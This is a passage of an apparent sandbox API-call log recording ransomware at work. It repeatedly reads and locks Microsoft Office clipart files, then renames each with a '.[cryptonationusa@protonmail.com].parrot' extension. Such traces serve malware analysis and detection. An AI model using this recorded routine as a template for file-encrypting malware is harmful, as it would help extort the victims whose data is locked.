lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.597] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.598] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe42c, lpOverlapped=0x0) returned 1 [0142.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.601] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe544, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.601] CloseHandle (hObject=0x27c) returned 1 [0142.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.604] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.604] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.604] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.606] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.606] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1088e, lpOverlapped=0x0) returned 1 [0142.610] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.612] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.612] CloseHandle (hObject=0x27c) returned 1 [0142.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.615] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10904, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.615] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.617] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x107ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x107ec, lpOverlapped=0x0) returned 1 [0142.622] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.623] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10904, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.623] CloseHandle (hObject=0x27c) returned 1 [0142.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.626] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ae6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.626] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.626] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.628] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x59ce, lpOverlapped=0x0) returned 1 [0142.630] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.631] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ae6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.631] CloseHandle (hObject=0x27c) returned 1 [0142.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.635] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.635] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.637] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d24, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d24, lpOverlapped=0x0) returned 1 [0142.637] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.638] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.638] CloseHandle (hObject=0x27c) returned 1 [0142.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.643] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x434e, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.643] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.643] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.645] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.645] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4236, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4236, lpOverlapped=0x0) returned 1 [0142.646] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.646] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x434e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.646] CloseHandle (hObject=0x27c) returned 1 [0142.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.650] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3db4, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.651] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c9c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c9c, lpOverlapped=0x0) returned 1 [0142.652] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.652] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3db4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.652] CloseHandle (hObject=0x27c) returned 1 [0142.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.656] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a56, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.656] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.656] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.658] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x493e, lpOverlapped=0x0) returned 1 [0142.658] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.659] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.659] CloseHandle (hObject=0x27c) returned 1 [0142.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.661] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4a78, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.662] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.662] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.663] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.663] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4960, lpOverlapped=0x0) returned 1 [0142.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.664] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4a78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.664] CloseHandle (hObject=0x27c) returned 1 [0142.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.668] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x469c, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.668] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.668] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4584, lpOverlapped=0x0) returned 1 [0142.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.671] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x469c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.671] CloseHandle (hObject=0x27c) returned 1 [0142.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.674] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c26, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.674] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.675] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b0e, lpOverlapped=0x0) returned 1 [0142.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.677] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.677] CloseHandle (hObject=0x27c) returned 1 [0142.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.681] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c00, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.681] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.682] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ae8, lpOverlapped=0x0) returned 1 [0142.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.683] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.684] CloseHandle (hObject=0x27c) returned 1 [0142.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.688] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b72, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.688] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.690] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.690] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4a5a, lpOverlapped=0x0) returned 1 [0142.691] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.691] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b72, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.691] CloseHandle (hObject=0x27c) returned 1 [0142.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.694] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4f12, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.695] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.696] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.696] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4dfa, lpOverlapped=0x0) returned 1 [0142.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.698] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4f12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.698] CloseHandle (hObject=0x27c) returned 1 [0142.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.701] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf38, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.701] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.702] 